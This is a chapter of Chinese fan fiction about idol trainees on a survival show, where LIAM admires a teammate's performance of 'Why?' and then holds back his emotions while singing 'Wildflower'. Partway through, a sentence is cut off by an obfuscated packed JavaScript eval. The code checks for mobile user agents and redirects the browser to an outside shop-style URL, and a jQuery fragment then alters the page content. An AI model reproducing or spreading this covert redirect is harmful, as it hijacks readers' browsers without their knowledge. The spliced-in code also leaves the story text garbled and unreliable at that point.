一


    “现在肯定很紧张。”


    “这种时候是最紧张的时候，尤其是岱永。”


    ……


    待机室里，所有人挤在沙发上，盯着前方的屏幕。


    画面里，另一组已经站好了位置，灯光从头顶打下来，在他们脸上化出明暗的边界。


    明明不是自己在台上，LIAM的心跳却又开始加速了。


    光是看着，他都感觉好紧张。


    《Why？》的前奏从音箱里铺出来，厚重的鼓点，低沉的贝斯，一层一层地往下压。


    LIAM对这首歌太熟悉了。毕竟他曾有段时间十分喜欢东神，也不能说现在不喜欢。只是他属于所谓的“事业粉”，基本只听歌和看综艺，不太关注偶像的个人生活。


    这首歌，说实话他没有很喜欢。他Get不到这种Rap Style，或者说SM家大部分歌的Rap他都觉得一般。但作为东方神起在经历风波后、以二人组回归的主打，这首歌的确是一首风格十分强烈的歌，是传统的SMP不说，还充满了成熟的自信气场，尤其是是后半段的昌珉持续的高音。


    要他来说，这首歌纯靠人带歌。如果不是东神两人的实力和气场撑着，现场表演可能会很灾难。


    所以对于这些还带着稚气、青涩的练习生会如何演绎这首歌，他好奇，但又不敢期待。


    /Keep your head down！/


    /行くぜ！/


    前田陆一张口，待机室里大家不约而同地发出“哇——”的感叹。


    LIAM眼睛一亮，身体前倾。


    气势是有的，Intro立住了。虽然这种带点不良少年气息的口吻以及条件反射般想到“昌珉呐生日粗卡哈密达”那个经典名场面，让他有点想笑，但整体感觉是对的。


    屏幕里，前田陆眼神锋利地盯着镜头。


    /その冗談なら嘘だと言ってくれ/


    /サヨナラもなく背を向けるの/


    /君がいない もっと わかり合えたのに/


    /なんで なんで なんで/


    /どうかしてるよ/


    第一段给的是得能勇志。


    LIAM睁大眼睛。完全没想到他会这么、这么适配这首歌。


    原版的允浩是那种拽拽的、眼神里带着热情甚至愤怒的表演方式，搭配显露手臂肌肉的舞台服装，每个动作都大开大合、充满了力量，整个人像一团火。但得能勇志不一样。


    他穿着黑色西装，里面白衬衫打着领带，整个人被包裹得严严实实。动作幅度不大，但每一个线条都干净利落，充满了克制感。


    他眉头微皱，表情冷淡，眼神随着手部动作，从一旁看向了前方。


    LIAM感觉自己移不开视线。


    屏幕里的人还在动，到了别人的part，切换走位。但他完全没法去注意除了得能勇志以外的人，他的目光锁定在得能勇志身上，视线随着他的走位移动。


    /Keep your head down——/


    这一段舞蹈，除了C位的两位成员，其他人一起扎着马步，头从仰起慢慢低下去。即使不是站在C位，得能勇志也格外突出，不是因为动作，而是因为眼神。


    在LIAM的理解里，这段编舞原本表达的是“控制与被控制”：C位的人将其他人的头“压”下去，是一种“把头低下来，认清现实”的姿态。所以在这里，其他人都是仰头，然后随着 /Down——/ 慢慢低头。


    但得能勇志不一样。他也仰着头，但他没有像别人那样眼神朝上、再移动向下。自始至终，他的眼神保持着向下、向前方。所以画面给人的感觉不是“被控制”，而是类似“你以为你能操控我？”。


    他表情几乎没有变化，但那双眼睛里有一种冷淡的、克制的……愤怒？侵略？。


    LIAM不知道自己为什么想到了“侵略性”这个词。


    /もう一度笑顔になって/


    啊，是岱永。


    熟悉的高音短暂地让LIAM回过神。很稳，很稳，不愧是平时一起练习的小伙伴。然后他的眼神又自动飘回了得能勇志身上。


    他不自觉将双手撑在膝盖上，眼睛睁大，身体往前倾。下一秒想到还有摄像机在拍，又赶紧直起身，用手半捂着脸，挡住止不住上扬的嘴角。


    之前真没觉得YUSHI有这么帅。他对对方的印象一直是：清秀小帅哥、安静、压力大、不好接近的日本保送生，啊，也许还有点调皮？


    但现在站在舞台上的这个人，真的帅得有点过分了。


    出道真的有原因啊，他在心里想，这场如果有直拍，应该会很火爆吧。


    有就好了，他还挺想看的。他甚至想往回拉进度条，把那几个镜头再看一遍。


    /Keep your head down——/


    第二段副歌，又到了这段编舞。这次，得能勇志站C位了。


    他的眼神从前方缓缓转向垂眸，随着手部的动作扫向面前低头的人。动作的最后，双手利落地向下交叉、放下，指向前方。


    不行，太帅了吧！


    这里导播也很会拍啊，如果这里从正面拍就没有这个效果了！


    啊，这首歌原来也可以走这种感觉的吗？


    内心自带弹幕飘过，LIAM努力压下嘴角，压下苹果肌。深呼吸，再深呼吸。


    岱永表现得很不错，后面那段Rap字字入耳。Riku也很帅气，唱腔在这里和允浩还有几分相似。


    但他现在只能看到得能勇志。


    这一刻，真的是心动的感觉。


    不是对某个人的心动，是对“这种舞台”的心动，那种遇到新鲜的、让人兴奋的东西时，身体会自动分泌的多巴胺。


    他喜欢这种感觉，开始期待YUSHI以后的舞台了，想看更多、想要这样的感觉更持久一些。


    ---


    二


    没能跟着其他人继续听完点评，工作人员走过来，轻轻拍了拍LIAM的肩膀：“该去后台准备了。”


    他点点头，站起来。


    “Fighting！”旁边有人小声说。


    “加油。”


    “好好唱。”


    声音从不同方向飘过来，LIAM腼腆地笑了一下，摆摆手，转身往外走。


    马上又要上台了。但他并不紧张。刚才看表演时分泌的多巴胺还残留在体内，他甚至有点兴奋。


    这可不行，一会儿唱的歌可不需要这样的情绪。他深呼吸，努力把那股躁动往下压。


    走进后台，光线瞬间变暗。台上的点评还在继续，声音从前面传过来，隔了一层，闷闷的。


    LIAM弯腰，工作人员拿着粉饼在他脸上轻轻按了两下。他接过水瓶抿了一口，润润嗓子，又抬手调整了一下耳麦的位置。脑海里开始过歌词。一句一句，像在脑子里翻书页。


    BoA的声音从前面传来，正在点评金岱永的舞蹈。LIAM听着，莫名心跳又快了一点。


    没事，他和岱永练了那么多遍，没问题的。


    只是，他唯一担心的是，自己在舞台上过于投入、控制不住情绪。之前练习的时候，有好几次唱到“以为可以忘记”那段，眼眶突然就热了。他每次都赶紧收住，喝口水，假装只是在调整气息。岱永没有问过他，也许没注意到，也许注意到了但没说。


    他不想在台上那样，他心里默念：今天不要想那些，希望能好好唱完。


    “岱永和LIAM都是第一次在节目上表演，又都是作为Vocal加入，我们想更了解你们的歌唱实力。”外面银赫的声音顿了一下，“听说你们准备了另外的舞台？”


    “是的。”金岱永的声音从台上传来，“朴孝信前辈的《野生花》。”


    银赫笑了下：“LIAM又要准备日语歌、又要准备韩语歌的。那就请LIAM上台，开始准备吧。”


    工作人员在侧台冲他比了个手势。LIAM深吸一口气，往前走。


    其他人从台上下来，和他擦肩而过。气流带起一阵风，混着汗味和舞台灯光烤过的衣服布料的味道。他听见有人小声说了一句“Fighting”，没听出是谁，来不及回头看，脚已经踩上了舞台的台阶。


    灯光从头顶落下来，比后台亮很多。


    他眯了一下眼，看见金岱永站在舞台中央，表情和平时不一样——没什么表情，嘴唇抿着，整个人绷得很紧。


    很紧张啊。


    两人对视。LIAM走过去，笑着拍了一下他的背。手掌落下去的时候，他能感觉到金岱永的肩膀硬得像石头。


    他没有说话，然后走到自己的位置，站定，收起笑容，低头，等着音乐响起。


    ---


    三


    蓝色的灯光亮起，钢琴声从舞台深处浮现。


    考虑到节目时长，所以这首歌直接从第二段主歌切入。


    LIAM站在舞台左侧，金岱永在右侧，两人之间隔着几步的距离。灯光从头顶落下来，在他脚下切出一个半圆的亮区。


    /爱情是盛开又枯萎的燃烧火花/


    /怕在雨水中被熄灭/


    /所以闭上眼睛/


    他闭上眼，金岱永的歌声一开始有点紧，唱了两句之后慢慢松下来，反而多了一层少年特有的青涩感。


    LIAM闭上眼听着。歌词从耳边滑过去，像水从石头上流过。他没有刻意去理解，但那些字自己钻进了心里。


    该他了，他睁开眼：


    /只有幸福的回忆/


    /只有思念的心意/


    /就这样留在你离去的那条路上/


    声音从喉咙里滑出来，轻的，柔的，像春风从湖面上滑过去，带着暖意。


    /以为可以忘记/


    /以为可以不在意/


    唱到这一句的时候，声音随着音调升高，他感觉到胸口有什么东西被顶了一下。不是回忆，不是画面，是一种很熟悉的感觉——那些长时间压抑在内心深处的情绪，忽然自己往上浮了。


    他心想，完了，怎么这个时候。


    LIAM了解自己了。他是一个平时没有太多负面情绪的人，是因为他会没法对自己的负面情绪产生及时的反应、或者说下意识地会将其压下去，忽视自己的感受，这已经是他的本能。而时间久了，这些情绪就会在某个节点、因为一些契机突然爆发。


    就比如现在。


    他知道这种感觉来了之后会怎样。现在如果压不住，声音会抖，眼眶会热，然后就是在大庭广众之下掉眼泪。


    他不想拖累岱永，不想让任何人看见他的情绪。他这时甚至有点恼自己——什么时候不好，偏偏是现在。


    他只能用力把那些情绪往下压，努力忽视，像以前无数次做过的那样。


    金岱永的声音从右边涌过来，厚实的，沉稳的，像大地。LIAM抬头，闭上眼睛，专心听耳返里的声音。他能感觉到金岱永的声音就在他旁边，稳稳地撑着。


    感受边上人的视线，但他没法像之前练


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17419896|199772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    习那样、在和音的时候跟对方眼神交流。


    最后的高音，他轻轻收了一点力，把声音稳住，没有往更深处走，他选择了安全的唱法。


    /未来等着春天带着你一同归来/


    /在那一天就让我绽放吧/


    最后一个音落下去，他站在原地，睫毛只是微湿。


    他唱完了，音是对的，拍是对的，和音也是对的。但他知道自己可以唱得更有感染力，但当着评委和摄像机的面，他还是选择了“安全”。


    金岱永在他旁边，他不知道岱永有没有感觉到他的收。也许有，也许没有。他没敢转头去看。


    ---


    四


    余音刚落，从侧台方向忽然传来一阵欢呼声。


    LIAM下意识往那边看了一眼，灯光太亮，看不清人脸，只能看见几个晃动的影子。


    评委席上，银赫带头鼓掌。孝渊跟着拍了拍手，BoA也鼓了几下，动作不大，但手掌碰在一起的声音在安静的演播厅里很清楚。


    LIAM有些心安，他应该没有拖累岱永。


    BoA 面带微笑，看着要比之前要满意许多：“谢谢你们的表演。岱永的声音好像还在形成的过程，不过我觉得的确你拥有很好的声音。”


    银赫；“不止是中低音很好，高音也很不错。”


    评委们表情明朗，对金岱永的好评也连连不断，他每听完一句就鞠躬。


    LIAM在旁边听着，嘴角轻轻弯了一下。他真心为岱永高兴，这一周的练习，他比谁都清楚岱永有多努力。


    银赫翻了一页资料，目光移向台上的另一人：“LIAM。”


    “前半段，真的很好。”银赫的语气里带着欣赏，也带着一点遗憾。“发音很自然，感情也很自然。你开口唱第一句的时候，我都差点流泪了。”


    他停了一下，像是在斟酌措辞。


    “但是……后半段，你好像不敢唱的样子，就虽然也唱得好，但中规中矩，跟前面比起来还是一下有差距。”


    孝渊在旁边点了点头：“前面真的唱得很好。”


    她没有多说，但这句话本身就已经说明了很多。


    LIAM的手指扣进掌心里，他很清楚评委们的意思。


    张振英的声音从评委席最边上传过来。他今天一直没怎么说话，但现在开口了，语气里带着一种藏不住的可惜：“练习的时候，明明唱得更好的，怎么一到台上就……”


    他没有说完，只是轻轻叹了口气，但这比任何话都重。


    LIAM的视线落在地板上，他知道老师在说什么。练习的时候，他也有过情绪涌上来的瞬间，但那时他能控制住情绪不会溢出，而是注入到歌曲里。


    他以为自己今天可以也可以做到。


    但他忘了，那些平时被忽略的、被压下去的东西，不会永远安静。它们会积累，会在某个时刻自己浮上来。就像《灵能百分百》里的Mob，他的情绪不是消失了，是攒到了临界值，随时会爆发。


    他还没来得及想什么怎么回答，BoA开口了：


    “LIAM的技巧和音准没问题，但歌手不是唱出音符就好了，要把歌曲传达给观众才行。”


    “就像银赫和孝渊说的，前半段真的很好，我还在想原来LIAM唱传统Ballad也很不错。但是后面感情落差太大了，感觉你一下子就把那些情绪收进去了。”


    “是紧张吗？”她看着LIAM。


    “好像不是紧张……”


    她顿了一下。


    “应该是不敢在舞台上展露自己的感情，你怕失控。”


    她的语气没有变，还是那种平静的、陈述事实的样子。


    “但是，舞台就是这样的。站在台上的人，要把自己交出去。不是一半，是全部。你控制得越好，观众感受到的就越少。”


    “LIAM唱得很好。技巧、音准、稳定性，都没有问题，完全是有成为优秀歌手的潜质。但如果不敢在舞台上展现自己，那就永远只能停留在这个程度。”


    银赫在旁边轻轻叹了口气：“这不是说你做得不好，你已经做得很好了，只是你还可以更好。”


    孝渊也点头，语气比刚才轻了一点：“下次可以再大胆一点，不用怕。”


    “Nei…康桑哈密达。”


    LIAM站在那里，有一种很奇怪的感觉，像被人揭开了一层东西，那层东西他一直以为盖得很好，没有人会发现。结果还是被人看见了。对方不仅看见了，还直接说了出来。


    他以为自己会抗拒、会想躲，但他发现自己没有想象中那么害怕。也许是因为，他能感觉到评委们不是在审判他。


    这些批评里，他感受到的更多是惋惜，以及对方想要帮助他的心情。


    这种感觉很奇怪，内心非本意被人“看穿”了，但没有被对方审判、指责或者攻击……反而被轻轻地接住


    啊，他忽然明白了。


    他害怕的不是“被看见”。他害怕的是“被看见之后，被否定、被嘲笑、被伤害”；他害怕自己把心掏出来了，别人会说“就这”“你好矫情”“谁想看这个”。所以他选择了安全，选择不投入，选择不让自己陷进去，他以为这样自己就不会受伤。


    但站在这里，听着评委们“可惜”的语气，他发现自己还是难受了。因为这是他自己的选择——不是做不到，是不敢做，这个认知比任何批评都更让他觉得沉重。


    他想到《野生花》这首歌，这是一首好歌，值得被好好唱、好好传达，但他没有尽力去做到。